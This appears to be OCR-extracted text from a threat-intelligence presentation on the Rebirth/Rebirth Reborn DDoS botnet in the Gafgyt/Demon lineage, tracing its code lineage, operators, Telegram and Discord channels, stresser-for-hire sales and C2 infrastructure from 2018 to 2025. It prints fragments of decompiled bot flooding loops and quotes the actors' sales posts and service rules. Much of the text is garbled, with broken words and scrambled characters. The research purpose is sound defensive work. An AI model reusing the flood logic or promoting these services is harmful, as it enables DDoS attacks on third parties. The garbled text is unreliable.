local_48.sa_data._ 0_2_ = param_2;

\ y

if (0x31 < local_1c) {

Vart = rand( Randomized exploit
send(local_34,local_98[i\
connect(local_34,&local_ patte rn s

tVar2 = time((time_t *)0x0);
if (param_3 + local_30 <= tVar2) {
close(local_34);
_exit(0);

local_1c = 0;

local_1c = local_1c + 1;
} while( true );

do { 1

local_98[1]
local_98[2]
local_98[3]

y

if (0x31 <'local_1c) {
iVar1 = rand();

send(local_34,local_98[iVar1 % 7. BaSh fork- bo':n b
connect(local_34,&local_48,0x10) Strl ng

tVar2 = time((time_t *)0x0);
if (param_3 + local_30 <= tVar2) {
close(local_34);

_exit(0);

local_1c = 0;

local_1c =local_1c + 1;
} while( true );
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03 Experiment | Conclusion: Tracing Lineage

Lineage analysis based on function similarity demonstrates evolutionary relationships across families, rather than
isolated threats.

Rebirth Reborn is identified not as a mere variant of the Gafgyt family, but as a subsequent mutation within the
Demon lineage.

@ ['] Rebirth API CNC | Online Users: [1]

-randlefV4-]->
— [ Help Menu

Methods

Admin

Menu

Explain (D]
-randle@vV4-]->

2. Demon v5

® 0

4. Rebirth Reborn

l\ 1. Demon v1 3. Rebirth
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04  Campaign tracking | Campaign Timeline (2018 ~ 2022)

Deleted Account \
Their panel is 4 years now, since 2018 | remember it was netis, tcp, 201 8 Rebirth | Channel Info
and thisi
< ty ) e (Presumed) ® 2022. : : :
Initiation of Rebirth Hub operations by netis, tcp, and thisity 02.15 _ Channe w{ 2 '

Creation of the Rebirth éhannel (t.me/rebirthreborn)

D. Region Nam
ate €glo ame 20" 8. RebirthReborn & RebirthVPN Showcase

® selfrepnetis
2018-10-2410:59:17UTC @ ISRAEL  ntpd 10.24 @ @
2021.

() X34 1,0392] 2021.6.28. #0544

First submission of a Demon v1 sample to VirusTotal N 06.28 usvidec s foreucational prposadoaly

Follow me on Instagram: @selfrepnetis
« Add me on Discord: ceo#0544
« Join our public discord: = / discord

Date Region Name Publication of an introductory video for RebirthReborn & RebirthVPN on YouTube
2018. |
2018-12-2116:31:06 UTC ] FRANCE  mal 12.31 ufghifgh o R
i S 1 ! Pinned message #
First submission of a Demon v5 sample to VirusTotal )t 2021. : ;
06.17 .
Demon V5 CNC 2019 ated the group <kebirth Chats SN Ue SR
g — [— . ‘e Creation of the Rebirth Chat group (t.me/rebirthrebornchat)
01.26
Upload of Demon v5 source code to Pastebin /N
31mJoined Rebirth As [
RebirthSocket Selam SpyHackerz ailesi bugiin sizlere 1 giinliik Rebirth Stresser Hub nasil alinir onu anlatacagim ama lk rebirth nedir onu anlatayim Rebirt
RebirthServer ® 2021. Bl e e e fer e
sorumluluk kabul etmiyorum isteyen kendisi virus totale atar iyi giinler
Nis9,2021 Discord Link
Date Region 2020. o 05.27 pe2 Join the Rebirth Discord Server!

Yok ~ Check out the Rebirth community on Discord - hang out with 506 other members and enjoy free voice
4 andtextchat.
°

Davet Kasmak icin degil zaten daveti sadece ownerlar atabiliyor ve Konu reklam icerigine giriyorsa silebilirler hem 6grenmis olurum

2020-05-16 22:07:05 UTC & UNITED STATES

First submission of a “Joined Rebirth As” sample to VirusTotal \/ Launch of Rebirth Stresser Hub sales post, distributed via Discord
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04  Campaign tracking | Campaign Timeline (2022 ~ 2025)

How to be Reseller on RebirthReborn & RebirthVPN!
. selfrepnetis e ]
PSR 518

Z3|4551%] 2022.4.9. #1768

Release of a reseller reCruitMent  wae some cssy maney sncop reseteron eirebom and reinvens 2022. ®
. Pricing:
VIdeO on YO UTU be Hub: $g75/momh | Keep profit | Split yearly 50/50 04.09

VPN: $50/month | Keep profit | Split yearly/life 50/50
Discord: neti#1768

Insta: selfrepnetis . . y
Telegram: @ielfrepneu 2025 Username @eternalstresser not found. Activation of Cash's personal
Telegram Server: https://t. me/rebirthrebornchat w
i channel, rebranded as “Eternal
(Presumed) OK Stresser”

Sorry for all the posts. someone spammed on our db on the site
since we dont have any captcha since the source | paid for | got

Onset of service outages, e e . \ 2022
°

3 . 3 site to die. The only way we come backis i we do our own C2. sorry
accom pa n |ed by increasi ng ’ suysi( o G [ ] #P [ WO Etemal C2 Om | 4 Total Attacks (2714 | Expiry [9999998.84] | Running (0] o o X
user com p|a Ints shit just keeps going down hill nigga N SR °

O o

2023.
08.10

Promotion of
Eternal Stresser sales

Selling all Spoofed Methods with lists and scanners that was linked

to RebirthReborn for $350 BTC or CashApp. hmu on discord if Ay
Announcement of full source @ reresedneonres ‘ O/ 2022. ®
code sale for Rebirth o O s i TR S i 1 09.25
(A& ] thats CRAZY L 4
el N

yo anyone know what happened to...

e , : . 2 Deletion of Telegram
, o 2023 7 | fTel
i : i ' 03.27 ‘ : accounts and channels
Redirection of Rebirth Chat - : 2023 °

group members to Cash'’s e | ¥

personal channel

o ¢

'
| Telegram

| Eternal

§ 2021-2024

| Owner : @DEHATUZCU
| Prices: https://tme/ete

- — B \_/
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04 - Campaign tracking | Emergence of Eternal Stresser (2023)

A new stresser service launched by HostingTCP(Cash), a known associate of SelfRepNeTiS.
Advertised as supporting Layer 3/4/7 attacks.

Claims to retain no logs, emphasizing anonymity and evasion of traceability.

Eternal Stresser

80 Dashboard

gg Attack Hub

SHOP

..\ri:’ Purchase

INFORMATION

) FAQ

a. Rules

SUPPORT
E Contact
.(’L Admins

What is Eternal Stresser®?

Eternal Stresser is a professional Layer 3/4/7 Stresser tool
for provide IP stress tests. Only the best prices and no logs.

How To Use Eternal Stresser?

Required if you want to attack.You can reach the best
power by filling the fields with the necessary information.

Is it trusthy

Definitely!

Eternal was originally created as a ddos service in 2021.

Now it continues as both checker and ddos service.we

have had hundreds of customers so far and no one complained

Eternal Stresser

MAIN

89 Dashboard
HUB

2/ Attack Hub

SHOP

.\%1 Purchase

INFORMATION
9 o
¢
ﬁ. Rules
SUPPORT
Contact
-OQ Admins

1- Don't Attack gov, edu, hospital websites.
2- No Refund.

3- If you break the rules you will be banned.
4- Don't waste your admins time.

5- If you give your account to a 2nd person, they will be
detected and banned.

6- When we find out that you are trying to leak the code of
the program, we will ban you unconditionally.

7- All Responsibilities Belong To You.

8- All persons who own this program will be deemed to have read
the rules As administrators we do not accept any responsibility
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04 ' Campaign tracking | Current State of Rebirth Reborn: C2 Server of ‘x86’

A new threat has emerged, operated by neti, who had previously liquidated the source code.
Certain Chinese threat actors have also obtained the code and are running independent operations.

‘ HTTP/1.0 500 Internal Server Error 77 90.7.228
% Connection: close - o f&

Content-Type: text/html; charset=UTF-8
C2 Date: Thu, 06 Feb 2025 13:37:04 GMT
Server: Apache/2.4.62 (Debian)
77.30.7.228 Content-Length: 0

ASN: 1°

=7} ) 500 Internal Server E
zﬁoﬁ?pe > St LISERS IR ;;Te ‘;u:: 1: ;cs 1 r\ 38 1 erGrr-AT
) m 2025-02-11 Server. Apache/2 4 62 (Debian)
<bo<Ocll)i/\j class="main"> e ) gg:;eeﬂctnéingc;f;;

<div class="title"> ZB KR = </div> Content-Type: text/html; charset=UTF-8
<div class="content"> ®
<p class="t1">{&AYIERIEWeb RS 2EP EH KBTI AL S ! </p>
<p class="t2">AJgERMA : </p>
<ol>
<li> &% E FILE B I PR ERIN Rk =21 </li>
<li>EEEXHREM! </li>
</ol>
<p class="t2">AMARER : </p>
<ol>
<li>HBERRELHAEIINNIER , FRIACHE , B=HEHWebRS ; </li>
<li>BERAREIER ; </li>
<li>F&FEH T CDONM @ , B2 EBRCDNETR ; </li>
<li>HBMILIAHE , BHKRMISEIER ; </li>
</ol>
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04  Campaign tracking | Current State of Rebirth Reborn: rebirthstresser.com

As of 2025, the domain rebirthstresser.com has resurfaced (Reborn).
It is being promoted as entirely distinct from the original Rebirth service and is operated under the service name

Rebirth Network V2.

rebirthstresser.com

a ) )
1% :':t».k:“r‘ K
s W A\ W

if you wanna buy a plan orf{https://rebirthstresser.com/ jnd want to
use crypto you can buy a plan directly from my shoppy and get the
plan token to redeem plan, or you can buy directly from me.

nttosY//shoppv.eg/@t

ACCESS PORTAL

b 4 NETWORK ACCESS POINTS

L2/ @replronsoresse \
- o]
shoppy.gg e y
=22 y
Commerce Made Simple Va L-‘ N B
- - o ¥ g 1:".‘;' -
Shoppy is an all-in-one payment processing and A b & ‘;Ec ]
: A A 4
e-commerce solution. Accept payments, sell ;,;:f'-»:s A°
digital products from your own and more, do it ... *‘;Ww" b
.
\ — - — — <
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04  Campaign tracking | Current State of Rebirth Reborn: rebirthstresser.com

2025.01.22 Creation and subsequent closure of a Telegram channel (Rebirth Network V2).

2025.06.07 Creation of a new Telegram channel (Rebirth Gateway).
Use of design elements and wording similar to the C2 panel of Eternal Stresser.

g-? [\] &< Eternal C2 TW | 4> Total Attacks [27]4” | Expiry [9999998.24] | Running [0]

I'REBIRTHC2!! E

W/ 1x | TCPBYPASS | vs | ™ Data Forest GmbH | &

¥ DM @rebirth.js2 COP £, /¥
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